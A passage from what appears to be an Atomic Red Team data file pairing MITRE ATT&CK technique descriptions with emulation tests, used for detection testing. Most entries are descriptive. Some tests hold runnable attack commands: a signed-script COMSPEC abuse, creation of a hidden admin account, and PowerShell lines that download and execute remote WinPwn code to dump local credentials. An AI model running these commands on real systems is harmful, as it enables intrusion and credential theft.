- "name": "command_prompt"
- }
- },
- {
- "name": "manage-bde.wsf Signed Script Command Execution",
- "auto_generated_guid": "2a8f2d3c-3dec-4262-99dd-150cb2a4d63a",
- "description": "Executes the signed manage-bde.wsf script with options to execute an arbitrary command.\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "command_to_execute": {
- "description": "A command to execute.",
- "type": "path",
- "default": "%windir%\\System32\\calc.exe"
- }
- },
- "executor": {
- "command": "set comspec=#{command_to_execute}\ncscript %windir%\\System32\\manage-bde.wsf\n",
- "cleanup_command": "set comspec=%windir%\\System32\\cmd.exe\n",
- "name": "command_prompt"
- }
- }
- ]
- },
- "T1118": {
- "technique": {
- "x_mitre_platforms": [
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Casey Smith",
- "Travis Smith, Tripwire"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--f792d02f-813d-402b-86a5-ab98cb391d3b",
- "type": "attack-pattern",
- "created": "2017-05-31T21:31:27.510Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "revoked": true,
- "external_references": [
- {
- "external_id": "T1118",
- "url": "https://attack.mitre.org/techniques/T1118",
- "source_name": "mitre-attack"
- },
- {
- "source_name": "MSDN InstallUtil",
- "description": "Microsoft. (n.d.). Installutil.exe (Installer Tool). Retrieved July 1, 2016.",
- "url": "https://msdn.microsoft.com/en-us/library/50614e95.aspx"
- },
- {
- "source_name": "LOLBAS Installutil",
- "url": "https://lolbas-project.github.io/lolbas/Binaries/Installutil/",
- "description": "LOLBAS. (n.d.). Installutil.exe. Retrieved July 31, 2019."
- }
- ],
- "modified": "2020-01-31T18:59:38.256Z",
- "name": "InstallUtil",
- "description": "InstallUtil is a command-line utility that allows for installation and uninstallation of resources by executing specific installer components specified in .NET binaries. (Citation: MSDN InstallUtil) InstallUtil is located in the .NET directories on a Windows system: C:\\Windows\\Microsoft.NET\\Framework\\v\\InstallUtil.exe
and C:\\Windows\\Microsoft.NET\\Framework64\\v\\InstallUtil.exe
. InstallUtil.exe is digitally signed by Microsoft.\n\nAdversaries may use InstallUtil to proxy execution of code through a trusted Windows utility. InstallUtil may also be used to bypass process whitelisting through use of attributes within the binary that execute the class decorated with the attribute [System.ComponentModel.RunInstaller(true)]
. (Citation: LOLBAS Installutil)",
- "kill_chain_phases": [
- {
- "phase_name": "defense-evasion",
- "kill_chain_name": "mitre-attack"
- },
- {
- "phase_name": "execution",
- "kill_chain_name": "mitre-attack"
- }
- ],
- "x_mitre_detection": "Use process monitoring to monitor the execution and arguments of InstallUtil.exe. Compare recent invocations of InstallUtil.exe with prior history of known good arguments and executed binaries to determine anomalous and potentially adversarial activity. Command arguments used before and after the InstallUtil.exe invocation may also be useful in determining the origin and purpose of the binary being executed.",
- "x_mitre_version": "1.2",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_defense_bypassed": [
- "Process whitelisting",
- "Digital Certificate Validation"
- ],
- "x_mitre_permissions_required": [
- "User"
- ]
- },
- "atomic_tests": []
- },
- "T1556.004": {
- "technique": {
- "x_mitre_platforms": [
- "Network"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--fa44a152-ac48-441e-a524-dd7b04b8adcd",
- "type": "attack-pattern",
- "created": "2020-10-19T17:58:04.155Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1556.004",
- "url": "https://attack.mitre.org/techniques/T1556/004"
- },
- {
- "source_name": "Mandiant - Synful Knock",
- "url": "https://www.mandiant.com/resources/synful-knock-acis",
- "description": "Bill Hau, Tony Lee, Josh Homan. (2015, September 15). SYNful Knock - A Cisco router implant - Part I. Retrieved October 19, 2020."
- },
- {
- "source_name": "Cisco IOS Software Integrity Assurance - Image File Verification",
- "url": "https://tools.cisco.com/security/center/resources/integrity_assurance.html#7",
- "description": "Cisco. (n.d.). Cisco IOS Software Integrity Assurance - Cisco IOS Image File Verification. Retrieved October 19, 2020."
- },
- {
- "source_name": "Cisco IOS Software Integrity Assurance - Run-Time Memory Verification",
- "url": "https://tools.cisco.com/security/center/resources/integrity_assurance.html#13",
- "description": "Cisco. (n.d.). Cisco IOS Software Integrity Assurance - Cisco IOS Run-Time Memory Integrity Verification. Retrieved October 19, 2020."
- }
- ],
- "modified": "2021-12-14T23:14:26.107Z",
- "name": "Network Device Authentication",
- "description": "Adversaries may use [Patch System Image](https://attack.mitre.org/techniques/T1601/001) to hard code a password in the operating system, thus bypassing of native authentication mechanisms for local accounts on network devices.\n\n[Modify System Image](https://attack.mitre.org/techniques/T1601) may include implanted code to the operating system for network devices to provide access for adversaries using a specific password. The modification includes a specific password which is implanted in the operating system image via the patch. Upon authentication attempts, the inserted code will first check to see if the user input is the password. If so, access is granted. Otherwise, the implanted code will pass the credentials on for verification of potentially valid credentials.(Citation: Mandiant - Synful Knock)",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "credential-access"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "defense-evasion"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "persistence"
- }
- ],
- "x_mitre_detection": "Consider verifying the checksum of the operating system file and verifying the image of the operating system in memory.(Citation: Cisco IOS Software Integrity Assurance - Image File Verification)(Citation: Cisco IOS Software Integrity Assurance - Run-Time Memory Verification)\n\nDetection of this behavior may be difficult, detection efforts may be focused on closely related adversary behaviors, such as [Modify System Image](https://attack.mitre.org/techniques/T1601).",
- "x_mitre_is_subtechnique": true,
- "x_mitre_version": "2.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "File: File Modification"
- ],
- "x_mitre_permissions_required": [
- "Administrator"
- ]
- },
- "atomic_tests": []
- },
- "T1574.004": {
- "technique": {
- "x_mitre_platforms": [
- "macOS"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "type": "attack-pattern",
- "id": "attack-pattern--fc742192-19e3-466c-9eb5-964a97b29490",
- "created": "2020-03-16T15:23:30.896Z",
- "x_mitre_version": "2.0",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1574.004",
- "url": "https://attack.mitre.org/techniques/T1574/004"
- },
- {
- "source_name": "MalwareUnicorn macOS Dylib Injection MachO",
- "url": "https://malwareunicorn.org/workshops/macos_dylib_injection.html#5",
- "description": "Amanda Rousseau. (2020, April 4). MacOS Dylib Injection Workshop. Retrieved March 29, 2021."
- },
- {
- "source_name": "Apple Developer Doco Archive Run-Path",
- "url": "https://developer.apple.com/library/archive/documentation/DeveloperTools/Conceptual/DynamicLibraries/100-Articles/RunpathDependentLibraries.html",
- "description": "Apple Inc.. (2012, July 7). Run-Path Dependent Libraries. Retrieved March 31, 2021."
- },
- {
- "source_name": "Wardle Dylib Hijacking OSX 2015",
- "url": "https://www.virusbulletin.com/uploads/pdf/magazine/2015/vb201503-dylib-hijacking.pdf",
- "description": "Patrick Wardle. (2015, March 1). Dylib Hijacking on OS X. Retrieved March 29, 2021."
- },
- {
- "source_name": "Writing Bad Malware for OSX",
- "url": "https://www.blackhat.com/docs/us-15/materials/us-15-Wardle-Writing-Bad-A-Malware-For-OS-X.pdf",
- "description": "Patrick Wardle. (2015). Writing Bad @$$ Malware for OS X. Retrieved July 10, 2017."
- },
- {
- "source_name": "Wardle Dylib Hijack Vulnerable Apps",
- "url": "https://objective-see.com/blog/blog_0x46.html",
- "description": "Patrick Wardle. (2019, July 2). Getting Root with Benign AppStore Apps. Retrieved March 31, 2021."
- },
- {
- "source_name": "wardle artofmalware volume1",
- "url": "https://taomm.org/vol1/pdfs.html",
- "description": "Patrick Wardle. (2020, August 5). The Art of Mac Malware Volume 0x1: Analysis. Retrieved March 19, 2021."
- },
- {
- "source_name": "Github EmpireProject HijackScanner",
- "url": "https://github.com/EmpireProject/Empire/blob/master/lib/modules/python/situational_awareness/host/osx/HijackScanner.py",
- "description": "Wardle, P., Ross, C. (2017, September 21). Empire Project Dylib Hijack Vulnerability Scanner. Retrieved April 1, 2021."
- },
- {
- "source_name": "Github EmpireProject CreateHijacker Dylib",
- "url": "https://github.com/EmpireProject/Empire/blob/08cbd274bef78243d7a8ed6443b8364acd1fc48b/lib/modules/python/persistence/osx/CreateHijacker.py",
- "description": "Wardle, P., Ross, C. (2018, April 8). EmpireProject Create Dylib Hijacker. Retrieved April 1, 2021."
- },
- {
- "url": "https://capec.mitre.org/data/definitions/471.html",
- "source_name": "capec",
- "external_id": "CAPEC-471"
- }
- ],
- "x_mitre_deprecated": false,
- "revoked": false,
- "description": "Adversaries may execute their own payloads by placing a malicious dynamic library (dylib) with an expected name in a path a victim application searches at runtime. The dynamic loader will try to find the dylibs based on the sequential order of the search paths. Paths to dylibs may be prefixed with @rpath
, which allows developers to use relative paths to specify an array of search paths used at runtime based on the location of the executable. Additionally, if weak linking is used, such as the LC_LOAD_WEAK_DYLIB
function, an application will still execute even if an expected dylib is not present. Weak linking enables developers to run an application on multiple macOS versions as new APIs are added.\n\nAdversaries may gain execution by inserting malicious dylibs with the name of the missing dylib in the identified path.(Citation: Wardle Dylib Hijack Vulnerable Apps)(Citation: Wardle Dylib Hijacking OSX 2015)(Citation: Github EmpireProject HijackScanner)(Citation: Github EmpireProject CreateHijacker Dylib) Dylibs are loaded into an application's address space allowing the malicious dylib to inherit the application's privilege level and resources. Based on the application, this could result in privilege escalation and uninhibited network access. This method may also evade detection from security products since the execution is masked under a legitimate process.(Citation: Writing Bad Malware for OSX)(Citation: wardle artofmalware volume1)(Citation: MalwareUnicorn macOS Dylib Injection MachO)",
- "modified": "2022-05-05T04:08:30.203Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "name": "Dylib Hijacking",
- "x_mitre_detection": "Monitor file systems for moving, renaming, replacing, or modifying dylibs. Changes in the set of dylibs that are loaded by a process (compared to past behavior) that do not correlate with known software, patches, etc., are suspicious. Check the system for multiple dylibs with the same name and monitor which versions have historically been loaded into a process. \n\nRun path dependent libraries can include LC_LOAD_DYLIB
, LC_LOAD_WEAK_DYLIB
, and LC_RPATH
. Other special keywords are recognized by the macOS loader are @rpath
, @loader_path
, and @executable_path
.(Citation: Apple Developer Doco Archive Run-Path) These loader instructions can be examined for individual binaries or frameworks using the otool -l
command. Objective-See's Dylib Hijacking Scanner can be used to identify applications vulnerable to dylib hijacking.(Citation: Wardle Dylib Hijack Vulnerable Apps)(Citation: Github EmpireProject HijackScanner)",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "persistence"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "privilege-escalation"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "defense-evasion"
- }
- ],
- "x_mitre_is_subtechnique": true,
- "x_mitre_data_sources": [
- "Module: Module Load",
- "File: File Creation",
- "File: File Modification"
- ],
- "x_mitre_defense_bypassed": [
- "Application Control"
- ],
- "x_mitre_attack_spec_version": "2.1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"
- },
- "atomic_tests": []
- },
- "T1601.002": {
- "technique": {
- "x_mitre_platforms": [
- "Network"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--fc74ba38-dc98-461f-8611-b3dbf9978e3d",
- "type": "attack-pattern",
- "created": "2020-10-19T19:53:10.576Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1601.002",
- "url": "https://attack.mitre.org/techniques/T1601/002"
- },
- {
- "source_name": "Cisco Synful Knock Evolution",
- "url": "https://blogs.cisco.com/security/evolution-of-attacks-on-cisco-ios-devices",
- "description": "Graham Holmes. (2015, October 8). Evolution of attacks on Cisco IOS devices. Retrieved October 19, 2020."
- }
- ],
- "modified": "2020-10-22T17:49:02.660Z",
- "name": "Downgrade System Image",
- "description": "Adversaries may install an older version of the operating system of a network device to weaken security. Older operating system versions on network devices often have weaker encryption ciphers and, in general, fewer/less updated defensive features. (Citation: Cisco Synful Knock Evolution)\n\nOn embedded devices, downgrading the version typically only requires replacing the operating system file in storage. With most embedded devices, this can be achieved by downloading a copy of the desired version of the operating system file and reconfiguring the device to boot from that file on next system restart. The adversary could then restart the device to implement the change immediately or they could wait until the next time the system restarts.\n\nDowngrading the system image to an older versions may allow an adversary to evade defenses by enabling behaviors such as [Weaken Encryption](https://attack.mitre.org/techniques/T1600). Downgrading of a system image can be done on its own, or it can be used in conjunction with [Patch System Image](https://attack.mitre.org/techniques/T1601/001). ",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "defense-evasion"
- }
- ],
- "x_mitre_detection": "Many embedded network devices provide a command to print the version of the currently running operating system. Use this command to query the operating system for its version number and compare it to what is expected for the device in question. Because image downgrade may be used in conjunction with [Patch System Image](https://attack.mitre.org/techniques/T1601/001), it may be appropriate to also verify the integrity of the vendor provided operating system image file. ",
- "x_mitre_is_subtechnique": true,
- "x_mitre_version": "1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "File: File Modification"
- ],
- "x_mitre_permissions_required": [
- "Administrator"
- ]
- },
- "atomic_tests": []
- },
- "T1078.003": {
- "technique": {
- "x_mitre_platforms": [
- "Linux",
- "macOS",
- "Windows",
- "Containers"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--fdc47f44-dd32-4b99-af5f-209f556f63c2",
- "type": "attack-pattern",
- "created": "2020-03-13T20:26:46.695Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1078.003",
- "url": "https://attack.mitre.org/techniques/T1078/003"
- }
- ],
- "modified": "2021-10-18T17:45:48.323Z",
- "name": "Valid Accounts: Local Accounts",
- "description": "Adversaries may obtain and abuse credentials of a local account as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Local accounts are those configured by an organization for use by users, remote support, services, or for administration on a single system or service.\n\nLocal Accounts may also be abused to elevate privileges and harvest credentials through [OS Credential Dumping](https://attack.mitre.org/techniques/T1003). Password reuse may allow the abuse of local accounts across a set of machines on a network for the purposes of Privilege Escalation and Lateral Movement. ",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "defense-evasion"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "persistence"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "privilege-escalation"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "initial-access"
- }
- ],
- "x_mitre_detection": "Perform regular audits of local system accounts to detect accounts that may have been created by an adversary for persistence. Look for suspicious account behavior, such as accounts logged in at odd times or outside of business hours.",
- "x_mitre_is_subtechnique": true,
- "x_mitre_version": "1.2",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "User Account: User Account Authentication",
- "Logon Session: Logon Session Creation",
- "Logon Session: Logon Session Metadata"
- ],
- "x_mitre_permissions_required": [
- "Administrator",
- "User"
- ],
- "identifier": "T1078.003"
- },
- "atomic_tests": [
- {
- "name": "Create local account with admin privileges",
- "auto_generated_guid": "a524ce99-86de-4db6-b4f9-e08f35a47a15",
- "description": "After execution the new account will be active and added to the Administrators group",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "password": {
- "description": "Password for art-test user",
- "type": "string",
- "default": "-4RTisCool!-321"
- }
- },
- "executor": {
- "command": "net user art-test /add\nnet user art-test #{password}\nnet localgroup administrators art-test /add",
- "cleanup_command": "net localgroup administrators art-test /delete >nul 2>&1\nnet user art-test /delete >nul 2>&1",
- "name": "command_prompt",
- "elevation_required": true
- }
- },
- {
- "name": "WinPwn - Loot local Credentials - powerhell kittie",
- "auto_generated_guid": "9e9fd066-453d-442f-88c1-ad7911d32912",
- "description": "Loot local Credentials - powerhell kittie technique via function of WinPwn",
- "supported_platforms": [
- "windows"
- ],
- "executor": {
- "command": "$S3cur3Th1sSh1t_repo='https://raw.githubusercontent.com/S3cur3Th1sSh1t'\niex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')\nobfuskittiedump -consoleoutput -noninteractive",
- "name": "powershell",
- "elevation_required": true
- }
- },
- {
- "name": "WinPwn - Loot local Credentials - Safetykatz",
- "auto_generated_guid": "e9fdb899-a980-4ba4-934b-486ad22e22f4",
- "description": "Loot local Credentials - Safetykatz technique via function of WinPwn",
- "supported_platforms": [
- "windows"
- ],
- "executor": {
- "command": "$S3cur3Th1sSh1t_repo='https://raw.githubusercontent.com/S3cur3Th1sSh1t'\niex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')\nsafedump -consoleoutput -noninteractive",
- "name": "powershell",
- "elevation_required": true
- }
- }
- ]
- },
- "T1211": {
- "technique": {
- "x_mitre_platforms": [
- "Linux",
- "Windows",
- "macOS"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "John Lambert, Microsoft Threat Intelligence Center"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "type": "attack-pattern",
- "id": "attack-pattern--fe926152-f431-4baf-956c-4ad3cb0bf23b",
- "created": "2018-04-18T17:59:24.739Z",
- "x_mitre_version": "1.3",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1211",
- "url": "https://attack.mitre.org/techniques/T1211"
- }
- ],
- "x_mitre_deprecated": false,
- "revoked": false,
- "description": "Adversaries may exploit a system or application vulnerability to bypass security features. Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. Vulnerabilities may exist in defensive security software that can be used to disable or circumvent them.\n\nAdversaries may have prior knowledge through reconnaissance that security software exists within an environment or they may perform checks during or shortly after the system is compromised for [Security Software Discovery](https://attack.mitre.org/techniques/T1518/001). The security software will likely be targeted directly for exploitation. There are examples of antivirus software being targeted by persistent threat groups to avoid detection.",
- "modified": "2022-04-28T16:10:16.632Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "name": "Exploitation for Defense Evasion",
- "x_mitre_detection": "Exploitation for defense evasion may happen shortly after the system has been compromised to prevent detection during later actions for for additional tools that may be brought in and used. Detecting software exploitation may be difficult depending on the tools available. Software exploits may not always succeed or may cause the exploited process to become unstable or crash. Also look for behavior on the system that might indicate successful compromise, such as abnormal behavior of processes. This could include suspicious files written to disk, evidence of [Process Injection](https://attack.mitre.org/techniques/T1055) for attempts to hide execution or evidence of Discovery.",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "defense-evasion"
- }
- ],
- "x_mitre_is_subtechnique": false,
- "x_mitre_data_sources": [
- "Process: Process Creation",
- "Application Log: Application Log Content"
- ],
- "x_mitre_defense_bypassed": [
- "Anti-virus",
- "System access controls"
- ],
- "x_mitre_attack_spec_version": "2.1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"
- },
- "atomic_tests": []
- },
- "T1127": {
- "technique": {
- "x_mitre_platforms": [
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Casey Smith",
- "Matthew Demaske, Adaptforward"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "type": "attack-pattern",
- "id": "attack-pattern--ff25900d-76d5-449b-a351-8824e62fc81b",
- "created": "2017-05-31T21:31:39.262Z",
- "x_mitre_version": "1.2",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1127",
- "url": "https://attack.mitre.org/techniques/T1127"
- },
- {
- "source_name": "Exploit Monday WinDbg",
- "url": "http://www.exploit-monday.com/2016/08/windbg-cdb-shellcode-runner.html",
- "description": "Graeber, M. (2016, August 15). Bypassing Application Whitelisting by using WinDbg/CDB as a Shellcode Runner. Retrieved May 26, 2017."
- },
- {
- "source_name": "LOLBAS Tracker",
- "url": "https://lolbas-project.github.io/lolbas/OtherMSBinaries/Tracker/",
- "description": "LOLBAS. (n.d.). Tracker.exe. Retrieved July 31, 2019."
- },
- {
- "source_name": "engima0x3 RCSI Bypass",
- "url": "https://enigma0x3.net/2016/11/21/bypassing-application-whitelisting-by-using-rcsi-exe/",
- "description": "Nelson, M. (2016, November 21). Bypassing Application Whitelisting By Using rcsi.exe. Retrieved May 26, 2017."
- },
- {
- "source_name": "engima0x3 DNX Bypass",
- "url": "https://enigma0x3.net/2016/11/17/bypassing-application-whitelisting-by-using-dnx-exe/",
- "description": "Nelson, M. (2017, November 17). Bypassing Application Whitelisting By Using dnx.exe. Retrieved May 25, 2017."
- }
- ],
- "x_mitre_deprecated": false,
- "revoked": false,
- "description": "Adversaries may take advantage of trusted developer utilities to proxy execution of malicious payloads. There are many utilities used for software development related tasks that can be used to execute code in various forms to assist in development, debugging, and reverse engineering.(Citation: engima0x3 DNX Bypass)(Citation: engima0x3 RCSI Bypass)(Citation: Exploit Monday WinDbg)(Citation: LOLBAS Tracker) These utilities may often be signed with legitimate certificates that allow them to execute on a system and proxy execution of malicious code through a trusted process that effectively bypasses application control solutions.",
- "modified": "2022-05-05T05:00:37.443Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "name": "Trusted Developer Utilities Proxy Execution",
- "x_mitre_detection": "Monitor for abnormal presence of these or other utilities that enable proxy execution that are typically used for development, debugging, and reverse engineering on a system that is not used for these purposes may be suspicious.\n\nUse process monitoring to monitor the execution and arguments of from developer utilities that may be abused. Compare recent invocations of those binaries with prior history of known good arguments and executed binaries to determine anomalous and potentially adversarial activity. It is likely that these utilities will be used by software developers or for other software development related tasks, so if it exists and is used outside of that context, then the event may be suspicious. Command arguments used before and after invocation of the utilities may also be useful in determining the origin and purpose of the binary being executed.",
- "kill_chain_phases": [
- {
- "phase_name": "defense-evasion",
- "kill_chain_name": "mitre-attack"
- }
- ],
- "x_mitre_is_subtechnique": false,
- "x_mitre_data_sources": [
- "Process: Process Creation",
- "Command: Command Execution"
- ],
- "x_mitre_defense_bypassed": [
- "Application Control"
- ],
- "x_mitre_attack_spec_version": "2.1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "identifier": "T1127"
- },
- "atomic_tests": [
- {
- "name": "Lolbin Jsc.exe compile javascript to exe",
- "auto_generated_guid": "1ec1c269-d6bd-49e7-b71b-a461f7fa7bc8",
- "description": "Use jsc.exe to compile javascript code stored in scriptfile.js and output scriptfile.exe.\nhttps://lolbas-project.github.io/lolbas/Binaries/Jsc/\nhttps://www.phpied.com/make-your-javascript-a-windows-exe/\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "filename": {
- "description": "Location of the project file",
- "type": "path",
- "default": "PathToAtomicsFolder\\T1127\\src\\hello.js"
- },
- "jscpath": {
- "description": "Default location of jsc.exe",
- "type": "path",
- "default": "C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319"
- },
- "jscname": {
- "description": "Default name of jsc",
- "type": "path",
- "default": "jsc.exe"
- }
- },
- "dependency_executor_name": "powershell",
- "dependencies": [
- {
- "description": "JavaScript code file must exist on disk at specified location (#{filename})\n",
- "prereq_command": "if (Test-Path #{filename}) {exit 0} else {exit 1}\n",
- "get_prereq_command": "New-Item -Type Directory (split-path #{filename}) -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1127/src/hello.js\" -OutFile \"#{filename}\"\n"
- }
- ],
- "executor": {
- "command": "copy #{filename} %TEMP%\\hello.js\n#{jscpath}\\#{jscname} %TEMP%\\hello.js\n",
- "cleanup_command": "del %TEMP%\\hello.js\ndel %TEMP%\\hello.exe\n",
- "name": "command_prompt"
- }
- },
- {
- "name": "Lolbin Jsc.exe compile javascript to dll",
- "auto_generated_guid": "3fc9fea2-871d-414d-8ef6-02e85e322b80",
- "description": "Use jsc.exe to compile javascript code stored in Library.js and output Library.dll.\nhttps://lolbas-project.github.io/lolbas/Binaries/Jsc/\nhttps://www.phpied.com/make-your-javascript-a-windows-exe/\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "filename": {
- "description": "Location of the project file",
- "type": "path",
- "default": "PathToAtomicsFolder\\T1127\\src\\LibHello.js"
- },
- "jscpath": {
- "description": "Default location of jsc.exe",
- "type": "path",
- "default": "C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319"
- },
- "jscname": {
- "description": "Default name of jsc",
- "type": "path",
- "default": "jsc.exe"
- }
- },
- "dependency_executor_name": "powershell",
- "dependencies": [
- {
- "description": "JavaScript code file must exist on disk at specified location (#{filename})\n",
- "prereq_command": "if (Test-Path #{filename}) {exit 0} else {exit 1}\n",
- "get_prereq_command": "New-Item -Type Directory (split-path #{filename}) -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1127/src/LibHello.js\" -OutFile \"#{filename}\"\n"
- }
- ],
- "executor": {
- "command": "copy #{filename} %TEMP%\\LibHello.js\n#{jscpath}\\#{jscname} /t:library %TEMP%\\LibHello.js\n",
- "cleanup_command": "del %TEMP%\\LibHello.js\ndel %TEMP%\\LibHello.dll\n",
- "name": "command_prompt"
- }
- }
- ]
- },
- "T1218.014": {
- "technique": {
- "x_mitre_platforms": [
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Wes Hurd"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "type": "attack-pattern",
- "id": "attack-pattern--ffbcfdb0-de22-4106-9ed3-fc23c8a01407",
- "created": "2021-09-28T01:36:41.638Z",
- "x_mitre_version": "2.0",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1218.014",
- "url": "https://attack.mitre.org/techniques/T1218/014"
- },
- {
- "source_name": "abusing_com_reg",
- "url": "https://bohops.com/2018/08/18/abusing-the-com-registry-structure-part-2-loading-techniques-for-evasion-and-persistence/",
- "description": "bohops. (2018, August 18). ABUSING THE COM REGISTRY STRUCTURE (PART 2): HIJACKING & LOADING TECHNIQUES. Retrieved September 20, 2021."
- },
- {
- "source_name": "mmc_vulns",
- "url": "https://research.checkpoint.com/2019/microsoft-management-console-mmc-vulnerabilities/",
- "description": "Boxiner, A., Vaknin, E. (2019, June 11). Microsoft Management Console (MMC) Vulnerabilities. Retrieved September 24, 2021."
- },
- {
- "source_name": "win_msc_files_overview",
- "url": "https://www.ghacks.net/2017/06/10/windows-msc-files-overview/",
- "description": "Brinkmann, M.. (2017, June 10). Windows .msc files overview. Retrieved September 20, 2021."
- },
- {
- "source_name": "win_mmc",
- "url": "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/mmc",
- "description": "Microsoft. (2017, October 16). mmc. Retrieved September 20, 2021."
- },
- {
- "source_name": "win_wbadmin_delete_catalog",
- "url": "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/wbadmin-delete-catalog",
- "description": "Microsoft. (2017, October 16). wbadmin delete catalog. Retrieved September 20, 2021."
- },
- {
- "source_name": "win_clsid_key",
- "url": "https://docs.microsoft.com/en-us/windows/win32/com/clsid-key-hklm",
- "description": "Microsoft. (2018, May 31). CLSID Key. Retrieved September 24, 2021."
- },
- {
- "source_name": "what_is_mmc",
- "url": "https://docs.microsoft.com/en-us/troubleshoot/windows-server/system-management-components/what-is-microsoft-management-console",
- "description": "Microsoft. (2020, September 27). What is Microsoft Management Console?. Retrieved October 5, 2021."
- },
- {
- "source_name": "phobos_virustotal",
- "url": "https://www.virustotal.com/gui/file/0b4c743246478a6a8c9fa3ff8e04f297507c2f0ea5d61a1284fe65387d172f81/detection",
- "description": "Phobos Ransomware. (2020, December 30). Phobos Ransomware, Fast.exe. Retrieved September 20, 2021."
- }
- ],
- "x_mitre_deprecated": false,
- "revoked": false,
